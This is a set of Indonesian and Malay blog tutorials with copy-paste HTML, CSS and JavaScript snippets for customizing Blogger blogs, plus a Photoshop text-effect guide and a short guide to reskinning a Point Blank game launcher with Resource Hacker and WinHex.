7. Jangan lupa mengganti tulisan warna merah dengan alamat URL pilhan anda
8. Klik Pratinjau untuk melihat apakah sudah ada perubahan sesuai keinginan anda
9. Jika sudah, klik Simpan Template
10. Selesai

Selamat mencoba, semoga bermanfaat
Happy Blogging

Baca Selengkapnya »

Cara Edit Tampilan PB Launcher

nie gw post cara buat ngeruba tampilan launcher pb tentunya kalian pasti bosan kan sama launcher yg itu-itu aja ......

nie contoh : edit tampilan launcher pic.batik

Cara Buat :




Tools:
1.winhex => Download WinHex Disini gan
2.resource hacker => Download ResHack DISINI
3.link notice buatan sendiri



[Merubah Tampilan]

1.buka reshack => PBlauncher

2.edit bagian bitmap dengan bitmap mu sendiri (gambarnya harus berformat*.bmp)

3.edit pada string value jika ada kata" yg ingin d ubah (gunakan fasilitas searc)

ex. please wait... bisa dirubah kata"nya semau agan

4.jika semua sudah sesuai keinginan save dengan extensi *.exe



[Merubah Notice]

1.buka winhex =>Launcher kamu

2.cari pola :

http://i1237.photobucket.com/albums/ff478/dalganteng/dalimage/60003215.png

3.mencari pola nya dengan menggunakan CTRL+F(find) ketik:gemscool

4.akan muncul 2 adress[update pb.gemscool.com] dan [http://img.gemscool.com/html/pb/notice.html]

5.edit pada [http://img.gemscool.com/html/pb/notice.html] menjadi link notice kalian sendiri(tentu saja buat notice dari hosting kamu lebih dulu)

6.jika sudah save dengan extensi *.exe



NB:mengedit notice memerlukan hostingan anda sendiri dan referensi notice bisa di http://img.gemscool.com/html/pb/notice.html edit saja menggunakan notepad lalu upload ke hosting kamu



Kalo ga punya hosting tidak usah merubah NOTICE

Happy Blogging

Baca Selengkapnya »

Cara memaasang TV di Blog

Buat sobat yang ga mau ketinggalan Acara di Tv ga perlu khawatir,apalagi jika sobat sedang online atau Update postingan blog .nah.. dalam postingan kali ini klinik-it akan menjelaskan tentang Cara memaasang TV di Blog.Blog sobat bisa juga loh dipasangin tv. jadi nantinya pengunjung blog sobat bisa nonton tv di blog sobat .hehehe. tujuan dari pemasangan tv di blog biasanya supaya pengunjung di blog kita betah berlama-lama ada di blog kita sambil nonton tv .hehehe Cara memaasang TV di Blog juga cukup mudah .tapi sebelumnya klinik-it mau kasih contoh Tv nya dulu nich .hehehe Contoh tvnya bisa sobat lihat di bawah ini ..

udah lihatkan contoh tvnyana ?hehehe buat sobat yang ingin Pasang Tv Di Blog caranya cukup mudah koq ,sobat tinggal ikuti tutorial Cara memaasang TV di Blog di bawah ini.

1.Login Ke Blogger Dengan ID sobat.

2.Klik Tata Letak .

3.Klik Tambah Gadget

4.Pilih HTML/javascript.

5.Kemudian Copy Dan Paste Kode berikut di dalamnya
  <span style="font-weight:bold;">Live TV (Mivo TV-RCTI-TRANS TV-SCTV-GLOBAL TV):</span><br /><br /><iframe src="http://zons.000a.biz/etc/tv/multitv01.html" scrolling="no" frameborder="0" height="321" width="376"></iframe><br />

6.Klik SIMPAN.

7.Selanjutnya tinggal sabat lihat deh hasilnya.

Keterangan :
1.Sebaiknya Tv dipasang di dalam postingan atau jika sidebar blog sobat lebar silakan pasang di sidebar soabat.

Selamat mencoba.................

...

Happy Blogging

Baca Selengkapnya »

Mengganti Domain Blogspot (Blogger) ke Domain CO.CC

Mungkin diantara teman2 blogger pernah/ ada yang merasa “tidak nyaman” dengan embel-embel “dot blogspot dot com (http://www.namaanda.blogspot.com)” pada alamat blognya. hal ini dikarenakan memang para blog gratis di Blogger.com/ Blogspot.com keluaran google ini merupakan sub-domain dari domain tersebut di atas, dengan kata lain para pengguna nya harus menggunakan embel-embel “blogspot” untuk menyatakan alamat blog anda adalah sub-domain dari blogspot. Jadi, untuk dapat mengubah alamat blog/ situs kita butuh domain pengampu.

Salah satu domain yang dapat digunakan secara gratis adalah “domain.co.cc“, saya memilih ini karna saya rasa co.cc memyuguhkan fitur layanannya lumayan lengkap, meskipun berlabel gratisan, (ada 3 jenis layanan : manage DNS, Zone Record, dan url forwarding

Syarat yang harus dimiliki untuk melakukan “judul” di atas :

1. Mempunyai account di CO.CC (jika belum, daftar di sini !)
2. Mempunyai alamat Blog (dalam hal ini blog di Blogspot.com, jika belum, daftar di sini !)

Langkah pertama : masukkan alamat yang anda inginkan ex : Subzero (lihat gambar)

Jika not available (sudah ada yang memakai) maka anda harus mencoba dengan nama lain, (dapat digunakan), jika available akan keluar form berikut setelah anda click tombol “Check availability“:
Click pada tombol “Continue to registration“, akan keluar form berikut :

Pilih “create an account now“, dan selanjutnya anda akan diminta untuk mengisikan form registrasi (seperti hal nya registrasi account lainnya), kemudia check inbox email yang anda jadikan sebagai email registrasi :

kemudian :

Pilih “Zone Record“, dan isikan form dengan isian sebagai berikut :

• Host : isikan dengan alamat Co.CC yang anda inginkan (ex: www.subzero.co.cc, ingat harus pakai “www”)
• TTL : 1 D
• Type : CNAME
• Value : ghs.google.com

pembuatan account dan settingan domain Co.CC anda sudah selesai.
Langkah berikutnya adalah settingan untuk account Blogger (blog yang anda miliki).

1. Sign in
2. Pilih “Pengaturan” —> “Publikasi“
3. Pilih “Beralihlah ke pengaturan lanjut“

Masukkan domain Co.CC yang telah anda buat tadi :

Semua langkah telah anda lakukan, proses dapat berlangsung beberapa menit atau paling lama 5 jam.
-
Selamat mencoba…

Happy Blogging

Baca Selengkapnya »

MENGHILANGKAN FUNGSI KLICK KANAN KONTEN BLOG (NO COPY-PASTE)

Untuk para blogger yang tidak ingin konten blognya di Copy-Paste, saya ada 1 (satu) cara yang mungkin dapat membantu (namun cara ini khusus untuk para blogger yang menggunakan Blog yang dapat menerimajava script)

Langkah pertama adalah Log in ke Account Blog anda (missal : disini saya mengambil contoh Blogspot). Setelah sampai di Dashboard, pilih TabLayout (tampilan) dan kemudian Add Gadget. Pada pilihan ini anda cariHTML/JavaScript, maka akan keluar new window yang menyediakan tempat kosong untuk kode/ java yang akan anda masukkan.

Copy kode yang di bawah berikut, dan paste pada tempat kosong tadi :

-

 

<script language=”JavaScript”>

<!–

//Disable right mouse click Script

//By Maximus (maximus@nsimail.com) w/ mods by DynamicDrive

//For full source code, visit http://www.dynamicdrive.com

var message=”Function Disabled!”;

///////////////////////////////////

function clickIE4(){

if (event.button==2){

alert(message);

return false;

}

}

function clickNS4(e){

if (document.layers||document.getElementById&&!document.all){

if (e.which==2||e.which==3){ alert(message); return false;

}

}

}

if (document.layers){

document.captureEvents(Event.MOUSEDOWN);

document.onmousedown=clickNS4;

}

else if (document.all&&!document.getElementById){

document.onmousedown=clickIE4;

}

document.oncontextmenu=new Function(“alert(message);return false”)

// –>

</script>

-

Maka, setelah kode ini terpasang…..pengunjung blog anda tidak akan dapat melakukan “klick kanan” pada konten blog anda. Pada saat mereka melakukannya akan keluar tulisan “Fuction disabled” 

Kata ini dapat anda rubah sesuai dengan yang anda inginkan dengan mengubah kode à var message=”Function Disabled!”; dengan kata lain yang anda inginkan (misal “maaf, tidak dipolehkan“, atau “no copy-paste“).

Download                                                                                                                  

Selamat mencoba,

Happy Blogging

Baca Selengkapnya »

Cara membuat text dengan efek api menggunakan Photoshop

Posting kali ini saya akan sharing sedikit ilmu photoshop yg saya miliki, yaitu membuat efek api pada teks, ok, langsung saja.

1. Pertama, sudah jelas, buka Photoshopnya.
2. Klik File, klik New.
3. Beri nama terserah anda, tetapi karena saat saya menulis saya sekalian membuat Fire Text yntuk header blog saya, maka saya beri nama header.
4. Atur Width, Height dan Resolutionnya lalu klik OK
5. Klik Paint Bucket Tool, pilih warna hitam untuk Background.
6. Masukan Teks, ukurannya terserah anda lalu beri warna Pure Red Orange pada teks yg anda buat.
7. Buat Layer baru, pilih warna hitam, klik Filter, Render, Clouds. Akan muncul gambar hitam putih acak-acakan, itulah efeknya.
8. Lalu klik Filter lagi, klik Sketch, Chrome. Atur Detailnya 4, Smoothnessnya 6.
9. Klik kanan di Layer 1, klik Blending Options, ganti Blend mode yg tadinya Normal menjadi Color Dodge.
10. Tekan Ctrl+Click pada layer teks anda yg berada di atas layer Background.
11. Tekan Ctrl+C lalu Ctrl+V, disana akan terbuat layer baru yg bernama Layer 2.
12. Klik kanan di Layer tersebut, klik Duplicate Layer, OK.
13. Lakukan step 12 sampai terbuat layer bernama Layer 2 copy 3.
14. Di Layer 2 copy 3 klik Filter, Blur, Motion Blur. Ganti Angelnya menjadi 0° , Distancenya 100 pixels lalu OK.
15. Di Layer 2 copy 2 klik Filter, Blur, Motion Blur. Ganti Angelnya menjadi 40° , Distancenya 100 pixels lalu OK.
16. Di Layer 2 copy klik Filter, Blur, Motion Blur. Ganti Angelnya menjadi -40° , Distancenya 100 pixels lalu OK.
17. Klik Layer 2 copy, klik Layer, klik Merge Down 3x atau bisa juga dengan menekan Ctrl+E 3x.
18. Lalu klik Layer 2, klik Filter, Blur, Gaussian Blur, ganti Radiusnya menjadi 3,0.
19. Klik Layer teks anda, klik 2x di huruf T lalu klik warna hitam.
20. Geser layer teks anda ke atas Layer 2, ganti Opacitynya kira-kira menjadi 60%.

ika ingin mengedit kembali warna apinya, klik Layer 2, klik Image, Adjustments, Hue/Saturation, atau bisa juga langsung dengan menekan Ctrl+U.

Sekian posting kali ini, semoga bermanfaat, semoga anda berhasil mempraktekannya
Happy Blogging

Baca Selengkapnya »

Image Effect-2

Entah mau dinamakan efek apa, yang jelas aku sendiri bingung mau memberi nama. Yang penting lihat dulu dan kamu mungkin bisa kasih sendiri nama efeknya. Image effect ini merupakan effek animasi yang dilakukan dengan menggerakkan image ke sisi sebelah kanan untuk memperlihatkan image lain di bagian belakang gambar. Image tersembunyi akan tampil lebih cantik bila dikasih gambar yang beridentitaskan blog kamu. Pengaturan kecepatan pergeseran

bagi yang inggin belajar silahkan aja!
Yang penting asyik

Happy Blogging

Baca Selengkapnya »

Cara Memasang Ucapan Selamat Datang Pada Saat Blog Dibuka Part II

Sebelumnya Blog Belajar Mencari Uang sudah pernah mempublikasikan artikel yang berjudul Cara Memasang Ucapan Selamat Datang Pada Saat Blog Dibuka, untuk saat ini script yang terdapat pada artikel tersebut tidak dapat digunakan karena tempat di mana script tersebut di upload yaitu Geocities sekarang sudah tutup. Untuk mengatasi masalah tersebut anda bisa mempelajari Cara Memasang Ucapan Selamat Datang Pada Saat Blog Dibuka Part II di bawah ini :

1. Pertama-tama Log In terlebih dahulu ke account Blogger anda.
2. Setelah itu klik Tata Letak > Elemen Halaman > Edit HTML.
3. Kemudian copy kode di bawah ini tepat di atas kode </head> :

<SCRIPT language='JavaScript'>alert(&quot;Selamat Datang Di TRIK BLOGGER Semoga Materi Yang Di Bahas Pada Blog Ini Bisa Berguna Bagi Anda.&quot;);</SCRIPT>
4. Ganti tulisan yang berwarna Hijau dengan tulisan sesuai dengan yang anda inginkan.
5. Lalu simpan dan lihat hasilnya

Baca Selengkapnya »

Cara Memunculkan Kotak Dialog Setelah Blog Ditutup

1. Pertama-tama Log In terlebih dahulu ke Account Blogger Anda.
2. Setelah itu klik Tata Letak > Edit Halaman.
3. Kemudian copy kode di bawah ini tepat di bawah kode </head>

<script type='text/javascript'>
// goodbye alert
function goodbye(){
alert(&#39;Terima kasih telah mengunjungi blog ku!&#39;);
}
parent.window.onunload=goodbye;
</script>

4. Untuk kode yang berwana Hijau, Anda bisa menggantinya dengan kata-kata yang sesuai dengan yang Anda inginkan.
5. Lalu simpan dan lihat hasilnya.

Baca Selengkapnya »

Script Untuk Membuat Efek Teks Melayang di Blog

Bagi anda yang berminat dengan Teks melayang ini cara membuatnya adalah sebagai berikut.

1. Seperti biasa anda login dulu ke Blogger, kemudian anda masuk ke menu tata letak terus anda tambahkan gadget baru, yaitu gadget HTML/javascript.

2. Setelah itu anda copy dan paste kode dibawah ini ke gadget HTML/javascript tadi, berikut ini adalah beberapa pilihan kode berdasarkan tulisan Teks yang akan melayang nantinya.silahkan anda pilih salah satu dari kode dibawah ini.

Enjoy Stay Here : kodenya adalah

<script src="http://www.geocities.com/yono_pati/stay.js" type="text/javascript">

/***********************************************
* Script featured & available at Dynamic Drive at http://www.dynamicdrive.com/
* Please keep this notice intact
***********************************************/
</script>


Selamat Datang : kodenya adalah

<script src="http://www.geocities.com/yono_pati/datang_1.js" type="text/javascript">

/***********************************************
* Script featured & available at Dynamic Drive at http://www.dynamicdrive.com/
* Please keep this notice intact
***********************************************/
</script>


Welcome : kodenya adalah

<script src="http://www.geocities.com/yono_pati/welcome.js" type="text/javascript">

/***********************************************
* Script featured & available at Dynamic Drive at http://www.dynamicdrive.com/
* Please keep this notice intact
***********************************************/
</script>


Selamat Datang di Blog Ini : kodenya adalah

<script src="http://www.geocities.com/yono_pati/datang.js" type="text/javascript">

/***********************************************
* Script featured & available at Dynamic Drive at http://www.dynamicdrive.com/
* Please keep this notice intact
***********************************************/
</script>


Selamat Menikmati Blog Ini : kodenya adalah

<script src="http://www.geocities.com/yono_pati/nikmat.js" type="text/javascript">

/***********************************************
* Script featured & available at Dynamic Drive at http://www.dynamicdrive.com/
* Please keep this notice intact
***********************************************/
</script>


3. Klik simpan/save

4. Selesai

5. Silahkan anda buka blog anda untuk melihat hasilnya.

Saya rasa cukup sekian dulu postingan saya mengenai cara untuk membuat Teks Melayang kali ini. semoga bermanfaat dan salam blogger mania

Baca Selengkapnya »

3 Langkah Mudah membuat 'Label Animasi' atau 'Label Cloud'.

3 Langkah mudah untuk membuat 'Label Animasi' atau 'Label Cloud'.


1.Masuk akaun blogger anda.


2.Pilih 'Layout'--> 'Edit Html'-->'Expand Widget Template'.


3.Cari kod Html di bawah ini :-

<b:section class='sidebar' id='sidebar' preferred='yes'>

Copy kod Html di bawah ini dan letakkan selepas kod html di atas :-

<b:widget id='Label99' locked='false' title='Labels' type='Label'><br /> <b:includable id='main'><br /> <br /> <b:if cond='data:title'><br /> <br /> <h2><data:title/></h2></b:if><br /> <br /> <div class='widget-content'><script src='http://halotemplates.s3.amazonaws.com/wp-cumulus-example/swfobject.js' type='text/javascript'/> <div id='flashcontent'>Blogumulus by <a href='http://www.roytanck.com/'>Roy Tanck</a> and <a href='http://www.bloggerbuster.com'>Amanda Fazani</a></div> <script type='text/javascript'> var so = new SWFObject("http://halotemplates.s3.amazonaws.com/wp-cumulus-example/tagcloud.swf", "tagcloud", "240", "300", "7", "#ffffff"); // uncomment next line to enable transparency //so.addParam("wmode", "transparent"); so.addVariable("tcolor", "0x333333"); so.addVariable("mode", "tags"); so.addVariable("distr", "true"); so.addVariable("tspeed", "100"); so.addVariable("tagcloud", "<tags><b:loop values='data:labels' var='label'><a expr:href='data:label.url' style='12'><data:label.name/></a></b:loop></tags>"); so.addParam("allowScriptAccess", "always"); so.write("flashcontent"); </script><br /> <b:include name='quickedit'/><br /> </div></b:includable><br /> </b:widget>

Untuk menukar saiz dan warna 'Label Cloud' gantikan text kod yang berwarna biru.

Setelah selesai pilih 'Preview' untuk melihat hasilnya.

Jika anda berpuas hati 'Save Template'.

Baca Selengkapnya »

Membuat 'Mouseover Image Effect'.

Untuk membuat effect ini anda hanya perlu copy kod di bawah.Gantikan URL Image yang berwarna biru kepada URL Image anda untuk gambar pertama dan URL Image berwarna merah untuk gambar kedua dan gantikan juga URL yang berwarna hijau kepada URL blog anda.

<a onmouseover="if (document.images) document.FlashFloatimage.src= 'http://i637.photobucket.com/albums/uu99/syamzone/flowerpot_animatedgift.gif';" onmouseout="if (document.images) document.FlashFloatimage.src= 'http://i637.photobucket.com/albums/uu99/syamzone/flowergiftlompat.gif';" href="http://syamzone.blogspot.com"><img border="0" src="http://i637.photobucket.com/albums/uu99/syamzone/flowerpot_animatedgift.gif" name="FlashFloatimage"/></a>

Paste di mana-mana halaman html yang anda mahukan.

Baca Selengkapnya »

Menambah Scroll Background Dengan jQuery.

1. SIGN IN akaun blogger.
2. Pilih LAYOUT --> EDIT HTML.
3. BACKUP TEMPLATE anda dahulu untuk mengelakkan sebarang masalah.
4. Klik pada EXPAND WIDGET TEMPLATE seperti screenshot di bawah ini.

5. Cari kod ini.

</head>

6. Copy script jQuery di bawah dan letakkan di atas kod tadi.

<script src='http://ajax.googleapis.com/ajax/libs/jquery/1.3.2/jquery.min.js?ver=1.3.2' type='text/javascript'></script>

7. Tambahkan script ini, di bawah script jQuery tadi.

<script type='text/javascript'> //<![CDATA[ $(function(){ // *** // Scrolling background // *** // height of background image in pixels var backgroundheight = 4000; // get the current minute/hour of the day var now = new Date(); var hour = now.getHours(); var minute = now.getMinutes(); // work out how far through the day we are as a percentage - e.g. 6pm = 75% var hourpercent = hour / 24 * 100; var minutepercent = minute / 30 / 24 * 100; var percentofday = Math.round(hourpercent + minutepercent); // calculate which pixel row to start graphic from based on how far through the day we are var offset = backgroundheight / 100 * percentofday; // graphic starts at approx 6am, so adjust offset by 1/4 var offset = offset - (backgroundheight / 1); function scrollbackground() { // decrease the offset by 1, or if its less than 1 increase it by the background height minus 1 offset = (offset < 1) ? offset + (backgroundheight - 1) : offset - 1; // apply the background position $('body').css("background-position", "50% " + offset + "px"); // call self to continue animation setTimeout(function() { scrollbackground(); }, 70 ); } // Start the animation scrollbackground(); }); //]]> </script>

7. Cari kod CSS body.

body {
background:#000;
margin:0;
color:$textcolor;
font:x-small Georgia Serif;
font-size/* */:/**/small;
font-size: /**/small;
text-align: center;
}

 

8. Gantikan background dengan kod ini.

background:url(http://lh6.ggpht.com/_dfnTVAxeWMI/SrFV2ZgHUvI/AAAAAAAACU8/yP_7acjnv5U/bgscroll.jpg);

10. Contoh.

body {
background:url(http://lh6.ggpht.com/_dfnTVAxeWMI/SrFV2ZgHUvI/AAAAAAAACU8/yP_7acjnv5U/bgscroll.jpg);
margin:0;
color:$textcolor;
font:x-small Georgia Serif;
font-size/* */:/**/small;
font-size: /**/small;
text-align: center;
}

 

11. Pilih PREVIEW untuk melihat hasilnya.
12. Jika berpuas hati pilih SAVE TEMPLATE.

Perhatian !!! Sekiranya anda sudah mempunyai script jQuery NO 6, anda hanya perlu tambahkan script NO 7 di bawahnya.

Baca Selengkapnya »

Memasang Top Comments Bergerak.

1. Masuk akaun Blogger.
2. Pilih LAYOUT --> Add a Gadget --> Html / Javascript.
3. Copy kod di bawah dan Paste.

<center><!--Top Comments-->
<div style="text-shadow:4px 4px 4px #adadad; font-size: 14px; COLOR: black;"><b>Top Comment :</b></div>
<div style="border: 3px dotted black; background: #fff000; padding:2px; width:470px; font-size: 12px; color:black;">
<script type="text/javascript">
function pipeCallback(obj) {
document.write("<marquee>");
var i;
for (i = 0; i < obj.count ; i++)
{
var href = "'" + obj.value.items[i].link + "'";
var item = "" + "<a href=" + href + ">" + obj.value.items[i].title + "</a> | ";
document.write(item);
}
document.write("</marquee>");
}
</script>
<script src="http://pipes.yahoo.com/pipes/pipe.run?_render=json&_callback=pipeCallback&
_id=a55cb97ebb368bb1b89b7f6bdeb35336&filter=S Y A M Z O N E&url=http%3A%2F%2Fnama-blog-anda.blogspot.com&num=10" type="text/javascript"></script>
<!-- End Top Comments--></div></center>

4. Gantikan text kod berwarna biru dengan nama blog anda dan gantikan text kod berwarna merah kepada nama yang selalu anda gunakan untuk komen, contoh nama yang selalu saya gunakan untuk komen ialah S Y A M Z O N E .
5. Anda boleh menggantikan kod warna background yang berwarna kuning mengikut kesesuaian template anda.
6.Setelah selesai pilih SAVE.
7. Selamat Mencuba

Baca Selengkapnya »

Slide Recent Posting.

1. Masuk akaun Blogger.
2. Pilih 'Layout'--> 'Add a Gadget'--> 'Html / Javascript'.

Copy kod di bawah dan Paste.

<script src="http://ajax.googleapis.com/ajax/libs/jquery/1.3.2/jquery.min.js" type="text/javascript"></script>
<style media="screen" type="text/css">
<!--

#spylist {
overflow:show;
margin-top:5px;
padding:0px 0px;
height:350px;
}
#spylist ul{
width:280px;
overflow:show;
list-style-type: none;
padding: 5px 5px;
margin:0px 0px;
}
#spylist li {
width:280px;
padding: 5px 5px;
margin:0px 0px 5px 0px;
list-style-type:none;
float:none;
height:70px;
overflow: hidden;
background:#fff url() repeat-x;
border:1px solid #ddd;
}

#spylist li a {
text-decoration:none;
color:#4B545B;
font-size:10px;
height:8px;
overflow:show;
margin:3px 3px;
padding:0px 0px 2px 0px;
}
#spylist li img {
float:left;
margin-right:5px;
background:#EFEFEF;
border:0;
}
.spydate{
overflow:show;
font-size:10px;
color:#0284C2;
padding:2px 0px;
margin:1px 0px 0px 0px;
height:8px;
font-family:Tahoma,Arial,verdana, sans-serif;
}

.spycomment{
overflow:show;
font-family:Tahoma,Arial,verdana, sans-serif;
font-size:10px;
color:#262B2F;
padding:3px 3px;
margin:8px 8px;
}

-->
</style>
<script language="JavaScript">
imgr = new Array();
imgr[0] = "http://i43.tinypic.com/orpg0m.jpg";
imgr[1] = "http://i43.tinypic.com/orpg0m.jpg";
imgr[2] = "http://i43.tinypic.com/orpg0m.jpg";
imgr[3] = "http://i43.tinypic.com/orpg0m.jpg";
imgr[4] = "http://i43.tinypic.com/orpg0m.jpg";
showRandomImg = true;
boxwidth = 255;
cellspacing = 6;
borderColor = "#232c35";
bgTD = "#000000";
thumbwidth = 70;
thumbheight = 70;
fntsize = 12;
acolor = "#666";
aBold = true;
icon = " ";
text = "comments";
showPostDate = true;
summaryPost = 40;
summaryFontsize = 10;
summaryColor = "#666";
icon2 = " ";
numposts = 20;
home_page = "http://nama-blog-anda.blogspot.com/";
limitspy=4
intervalspy=4000
</script>
<div id="spylist">
<script src="http://popular-post-blogger.googlecode.com/files/recentpostthumbspy-min.js" type="text/javascript"></script>
</div>

3. Perhatian !!! Gantikan text berwarna merah.Sebarang perubahan boleh di lakukan dengan menggantikan kod berwarna biru.
4. Save.
5. Selamat Mencuba.

Baca Selengkapnya »

Image Menu Slider.

1. Sign in akaun blogger anda.
2. Pilih LAYOUT --> EDIT HTML.
3. BACKUP TEMPLATE anda dahulu untuk mengelakkan sebarang masalah.
4. Klik pada EXPAND WIDGET TEMPLATE seperti screenshot di bawah ini.

5. Cari kod ini.

]]></b:skin>

6. Copy kod di bawah dan letakkan di atas kod tadi.

<br /> #kwick {background: 000000px;<br /> width:800px;<br /> height:200px;<br /> overflow:hidden;<br /> position:relative;<br /> padding:0;<br /> margin:0pt auto;<br /> }<br /> #kwick ul {<br /> list-style-image:none;<br /> list-style-position:outside;<br /> list-style-type:none;<br /> display:block;<br /> width:800px;<br /> height:200px;<br /> padding:0;<br /> margin:0px;<br /> }<br /> # .kwicks {<br /> display: block;<br /> height: 200px;<br /> margin: 0px;<br /> }<br /> #kwick li {<br /> float: left;<br /> }<br /> li:after {<br /> content: "";<br /> }<br /> #kwick .kwick {<br /> display: block;<br /> cursor: pointer;<br /> overflow: hidden;<br /> height: 200px;<br /> width: 155px;<br /> /*padding: 10px;*/<br /> background: #000;<br /> /*border-right: 5px solid #000;*/<br /> border-right: 2px solid #000;<br /> }<br /> #kwick .kwick span {<br /> display: none;<br /> }<br /> #kwick .opt2 {<br /> outline: 0; background: #000000 url(https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEhEzfcPYu9MEZ7uy3Jg0DTnTGxAncEL_IX3WDQnS0A02ULfORbwqHNNikQcWb63zBB6wnxSGdcr1ULl4hMZUbFg2_5aWRNinWqZU8ne94H36tKWq0GZFS9eO0iBZSvo6wEm_UZgoZ-PU50/s1600/roma1.jpg) ;<br /> }<br /> #kwick .opt4 {<br /> outline: 0; background: #000000 url(https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEjMMsqybqidK9oSLuQIEv1_19XxgE5mfkewKuFJ703SzlXz2YARnLXDqnlQg2ThCCG1XEixd6tMyS8dBCEROdwZlxYdK5dOplYDK-NKOeDL3a9VQIEm8hroknwPyKTP_xMo89nwdrdFAxY/s1600/roma2.jpg);<br /> }<br /> #kwick .opt5 {<br /> outline: 0; background: #000000 url(https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEjwDAkRj9ZCUdNVAmfUVHAmDO4lzeiGV_WnTxW2AVu0GUJOf1SpzZYx5IeTWJIlvsM98hkf8I0LzC0NXmfLBAisfD5KOckajNoBJFayMbMYxLHBge-T9fbH9xOvpQD5-N9I_0QuQqbPaMI/s1600/roma3.jpg);<br /> }<br /> #kwick .opt3 {<br /> outline: 0; background: #000000 url(https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEjazlFV7lMHRzUx_V0itVaPorLfKox4_VgCk6iuNxceBuryhxco-YvnS6IMKeLyFl4E6xy3YlQLfOWJmUUJ-2e2ulag-mKtXbLirhIihbT4Oteq8uxYZ_cKd5vwP2yIcpt_mOrP5mu6RVQ/s1600/roma4.jpg);<br /> }<br /> #kwick .opt1{<br /> outline: 0; background: #000000 url(https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEi2eNovxWH-kITtTrk9uiedmQyP2N-ECHmdNd30GG2OQLWI9tlvz59WnrmpIGM5b7EJHO2OfMJe_vDbnz_GIUYRamxpte5VOFRySQCHWn1RREskM9zaZSBA5v3oZI0tdndMr8J8P4ReB3g/s1600/roma5.jpg);<br /> border-right:1;<br /> }<br />

7. Cari kod ini sekali lagi.

]]></b:skin>

8. Copy kod di bawah dan letakkan di bawah kod tadi.

<script src='http://cdn.bitbucket.org/mr2r/r2r/downloads/mootools124.js' type='text/javascript'/> <script src='http://cdn.bitbucket.org/mr2r/r2r/downloads/imageMenu.js' type='text/javascript'/>

9. Cari kod ini.

<div id='header-wrapper'>

10. Langkah terakhir copy kod di bawah dan letakkan di bawah kod tadi.
<div id='kwick'>
<ul class='kwicks'>
<li><a class='tipz kwick opt1' href='http://syamzone-bloguntukaku.blogspot.com/' title='Home::Done browsing? Return to the main page...'></a></li>
<li><a class='tipz kwick opt2' href='http://syamzone.blogspot.com/2009/03/membuat-link-exchange-box.html' title='Blogroll::On a reading mood? Visit my blog buddies...'></a></li>
<li><a class='tipz kwick opt3' href='http://twitter.com/bloguntukaku' title='Twitter::Are you also on Twitter?...'></a></li>
<li><a class='tipz kwick opt4' href='https://friendfeed.com/syamzone' title='FAQ::About me and answers to the most frequently asked questions'></a></li>
<li><a class='tipz kwick opt5' href='mailto:ymsgr:sendIM?syamzone@rocketmail.com' title='Contact::Thank you for visiting. Questions? Contact me...'></a></li></ul>
</div>
<script type='text/javascript'>
var myMenu = new ImageMenu($$('#kwick .kwick'),{openWidth:450});
</script>


Perhatian !!! Gantikan text/kod yang berwarna merah.

Baca Selengkapnya »